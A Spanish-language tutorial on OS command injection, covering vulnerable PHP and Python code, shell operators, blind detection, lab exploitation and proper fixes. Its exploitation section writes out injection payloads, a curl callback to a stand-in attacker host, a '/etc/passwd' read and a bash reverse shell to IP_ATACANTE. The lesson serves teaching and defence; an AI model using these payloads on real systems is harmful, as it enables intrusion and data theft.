Inyección de comandos (Command Injection): qué es, cómo se explota y cómo se corrige
· 10 min de lectura
Aprende qué es la inyección de comandos del sistema operativo, por qué una aplicación que llama a la shell puede acabar ejecutando órdenes del atacante, cómo se detecta (también a ciegas), cómo se explota en un laboratorio autorizado y cómo se corrige sin depender de filtros.
Hay aplicaciones que, para hacer su trabajo, le piden algo al sistema operativo: hacer un ping para comprobar si un equipo responde, convertir una imagen, comprimir un archivo o consultar un dominio. Si construyen esa orden pegando lo que escribe el usuario y se la pasan a la shell, un atacante puede añadir sus propios comandos y el servidor los ejecutará.
Esa es la inyección de comandos (OS Command Injection), una de las vulnerabilidades más graves que existen: en un solo paso da al atacante la capacidad de ejecutar código en el servidor con los permisos de la aplicación. En los laboratorios es una de las formas más directas de conseguir la primera shell.
En esta lección vas a ver por qué ocurre, qué operadores la hacen posible, cómo se detecta incluso cuando no ves la salida, cómo se explota paso a paso en un laboratorio autorizado y cómo se corrige de verdad.
Practica estas técnicas solo en sistemas propios o en entornos autorizados, como los laboratorios de whoami-labs. Ejecutar comandos en un servidor ajeno sin permiso es un delito.
Qué es la inyección de comandos#
La shell (bash, sh, cmd.exe) no solo ejecuta un programa: interpreta una línea de órdenes con caracteres especiales que encadenan, redirigen o sustituyen comandos. Si el dato del usuario entra en esa línea sin control, sus caracteres especiales también se interpretan.

Por ejemplo, una herramienta de diagnóstico que hace ping a la IP que escribes. Con 8.8.8.8 ejecuta un ping normal. Con 8.8.8.8; id ejecuta el ping y, a continuación, el comando id, cuyo resultado aparece en la página.
No confundas esta vulnerabilidad con la inyección de código, donde el dato termina dentro de una función del propio lenguaje (como eval en PHP o JavaScript). Las dos son graves, pero aquí el que interpreta es la shell del sistema.
Por qué ocurre: la causa raíz#
Este es el patrón vulnerable en PHP:
// diagnostico.php?ip=8.8.8.8
$ip = $_GET['ip'];
$salida = shell_exec("ping -c 2 " . $ip);
echo "<pre>$salida</pre>";
Y su equivalente en Python:
import subprocess
@app.get("/ping")
def ping():
ip = request.args.get("ip")
# shell=True: la cadena completa la interpreta /bin/sh
salida = subprocess.check_output("ping -c 2 " + ip, shell=True)
return salida
En los dos casos la aplicación construye una sola cadena con texto fijo y datos del usuario, y se la entrega a la shell para que la interprete. La shell no sabe qué parte escribió el programador y qué parte el usuario.
Operadores que hacen posible la inyección#
| Operador | Qué hace | Ejemplo de entrada |
|---|---|---|
; | Ejecuta un comando después de otro | 8.8.8.8; id |
&& | Ejecuta el segundo si el primero tiene éxito | 8.8.8.8 && id |
| Doble barra vertical (OR lógico) | Ejecuta el segundo si el primero falla | x, la doble barra e id |
& | Lanza el primero en segundo plano y sigue | 8.8.8.8 & id |
| Tubería | Pasa la salida del primero al segundo | 8.8.8.8 seguido de tubería e id |
$(...) y comillas invertidas | Sustituyen el comando por su salida | $(id) |
| Salto de línea | Termina una orden y empieza otra | %0aid (codificado en la URL) |
En Windows, cmd.exe también acepta &, && y ||. Si un operador está filtrado, casi siempre queda otro disponible, por eso las listas negras de caracteres fallan tan a menudo.
Dónde aparece#
- Herramientas de diagnóstico: ping, traceroute, nslookup, whois en paneles de routers y de administración.
- Procesamiento de archivos: conversión de imágenes o documentos con utilidades de línea de comandos, compresión, generación de PDF.
- Paneles de administración y DevOps: botones que reinician servicios, hacen copias de seguridad o despliegan.
- APIs internas que reciben parámetros en JSON y llaman a scripts del sistema.
- Dispositivos embebidos (routers, cámaras, NAS), donde es especialmente común.
Cómo se detecta#
Cuando ves la salida#
Si la respuesta muestra el resultado del comando, la detección es directa: añade un operador y un comando inofensivo y observa si su salida aparece.
| Prueba | Qué buscas |
|---|---|
; id | Una línea como uid=33(www-data) en la respuesta |
&& whoami | El nombre del usuario del servidor |
$(hostname) | El nombre de la máquina dentro de la salida |
; echo wl7x9q | Tu cadena única en la respuesta |
Cuando no ves nada: inyección a ciegas#
Muchas veces la aplicación ejecuta el comando pero no muestra su salida. Ahí se usan dos técnicas, siempre en un entorno autorizado:
- Por tiempo: provocar una pausa medible. Si
; sleep 5hace que la respuesta tarde cinco segundos más, el comando se ejecutó. - Fuera de banda: hacer que el servidor se conecte a una máquina tuya, por ejemplo con una petición HTTP o una consulta DNS, y comprobar que llega.
# En tu máquina del laboratorio, escucha peticiones HTTP
python3 -m http.server 8000
# Entrada a probar en el parámetro vulnerable
8.8.8.8; curl http://IP_ATACANTE:8000/confirmado
Si en tu terminal aparece una petición a /confirmado, el servidor ejecutó el comando aunque la página no mostrara nada.
Herramientas#
- Burp Suite: para modificar el parámetro y repetir peticiones; Burp Collaborator facilita la detección fuera de banda.
- Commix: herramienta especializada que automatiza la detección y explotación de inyección de comandos en laboratorios.
- Revisión de código: busca
system,exec,shell_exec,passthru,popen, comillas invertidas en PHP;subprocessconshell=Trueuos.systemen Python;child_process.execen Node.js;Runtime.execcon una cadena en Java.
Explotación paso a paso en un laboratorio#
Vamos a recorrer el caso típico: un panel con una herramienta de ping en un laboratorio autorizado.
Paso 1: entender la funcionalidad#
Con una IP normal, la página muestra el resultado del ping. Eso indica que la aplicación ejecuta un comando y devuelve su salida.
Paso 2: confirmar la inyección#
127.0.0.1; id
Si debajo del ping aparece uid=33(www-data) gid=33(www-data), tienes ejecución de comandos como el usuario del servidor web.
Paso 3: reconocer el entorno#
Con comandos sencillos se obtiene información para los siguientes pasos:
127.0.0.1; uname -a
127.0.0.1; cat /etc/passwd
127.0.0.1; ls -la /var/www
Paso 4: obtener una shell inversa#
Trabajar desde un formulario es incómodo. En el laboratorio, lo habitual es conseguir una shell inversa: el servidor se conecta a tu máquina y te entrega una terminal. Primero, escucha en tu máquina:
nc -lvnp 4444
Después, en el parámetro vulnerable, envía una orden que abra la conexión hacia ti:
127.0.0.1; bash -c 'bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1'
Si el parámetro viaja en la URL, recuerda codificar los caracteres especiales. Cuando la conexión llegue, tendrás una terminal en el servidor del laboratorio.
Paso 5: estabilizar y seguir#
Una shell recién obtenida suele ser limitada. En los laboratorios se mejora con utilidades como python3 -c 'import pty; pty.spawn("/bin/bash")', y desde ahí se busca cómo escalar privilegios: binarios SUID, sudo mal configurado o tareas cron, que tienes explicados en otras lecciones de /aprende.
Qué puede lograr un atacante#
| Impacto | Ejemplo real |
|---|---|
| Ejecución de código en el servidor | Cualquier comando con los permisos de la aplicación |
| Robo de datos | Leer configuraciones, bases de datos y archivos de usuarios |
| Persistencia | Instalar puertas traseras o tareas programadas |
| Movimiento lateral | Usar el servidor para atacar otros equipos de la red interna |
| Toma total del sistema | Combinarla con una escalada de privilegios hasta llegar a root |
Cómo se corrige#

Evitar la shell siempre que se pueda#
La mejor corrección es no llamar a la shell. Casi todo lo que se hace con comandos tiene una alternativa en el propio lenguaje: librerías de imágenes, de compresión, de red o de DNS.
Si hay que ejecutar un programa, separar los argumentos#
Cuando no hay alternativa, ejecuta el programa sin pasar por la shell y con los argumentos en una lista. Así cada argumento llega al programa tal cual, y los caracteres como ; o && dejan de tener significado especial:
# Vulnerable
subprocess.check_output("ping -c 2 " + ip, shell=True)
# Seguro: sin shell y con argumentos separados
subprocess.run(["ping", "-c", "2", ip], capture_output=True, check=False, timeout=10)
En Node.js, usa execFile o spawn con un array de argumentos en lugar de exec:
const { execFile } = require("node:child_process");
execFile("ping", ["-c", "2", ip], (err, stdout) => { /* ... */ });
Validar con lista blanca#
Además, valida el dato según lo que debe ser. Si esperas una IP, comprueba que es una IP válida:
import ipaddress
def ip_valida(valor: str) -> str:
return str(ipaddress.ip_address(valor)) # lanza ValueError si no es una IP
Y protege la frontera entre opciones y datos: si un valor podría empezar por -, pásalo después de -- para que el programa no lo interprete como una opción.
Escapar como última capa#
En PHP, si de verdad no hay otra opción que construir la orden, escapeshellarg() encierra cada argumento entre comillas seguras. Es mejor que nada, pero debe ser una capa adicional, no la defensa principal:
$salida = shell_exec('ping -c 2 ' . escapeshellarg($ip));
Mínimo privilegio#
El proceso de la aplicación debe ejecutarse con un usuario sin privilegios, sin acceso a sudo y, si es posible, dentro de un contenedor con lo mínimo. Así, si algún día hay una inyección, el daño queda contenido.
Errores comunes al defenderse#
- Filtrar caracteres sueltos. Bloquear
;deja&&,||,$(), saltos de línea y comillas invertidas. Las listas negras siempre olvidan alguno. - Usar escapeshellcmd en lugar de escapeshellarg.
escapeshellcmdno evita que se inyecten argumentos adicionales al programa. - Validar solo en el navegador. La validación de JavaScript se salta enviando la petición directamente.
- Creer que sin salida no hay riesgo. La inyección a ciegas es igual de grave; solo cambia cómo se detecta.
- Ejecutar la aplicación como root. Convierte cualquier inyección en un compromiso total inmediato.
Preguntas frecuentes#
¿Qué diferencia hay entre inyección de comandos e inyección de código?#
En la inyección de comandos el dato llega a la shell del sistema (bash, cmd). En la inyección de código llega a un intérprete del propio lenguaje, por ejemplo con eval. Las dos permiten ejecutar instrucciones, pero se corrigen en sitios distintos.
¿Escapar los caracteres es suficiente?#
Ayuda, pero no es la mejor defensa. Lo robusto es no usar la shell y pasar los argumentos separados; el escape queda como capa adicional.
¿Por qué se usa sleep para detectarla?#
Porque cuando la aplicación no muestra la salida, una pausa medible es una forma sencilla y fiable de confirmar que el comando se ejecutó.
¿Qué es una shell inversa?#
Una conexión que inicia el servidor comprometido hacia la máquina del atacante para entregarle una terminal. Se usa porque las conexiones salientes suelen estar menos filtradas que las entrantes.
¿Dónde puedo practicarla legalmente?#
En los laboratorios de whoami-labs que aparecen al final de esta lección, diseñados para reproducir este fallo de forma controlada.
Resumen#
- La inyección de comandos ocurre cuando la aplicación construye una orden de shell con datos del usuario.
- Operadores como
;,&&,||,$()o un salto de línea permiten encadenar comandos propios. - Se detecta viendo la salida o, a ciegas, con pausas (
sleep) y conexiones fuera de banda. - Se corrige evitando la shell, pasando los argumentos en una lista, validando con lista blanca y ejecutando con mínimo privilegio.
- Filtrar caracteres o depender solo del escape no es una corrección.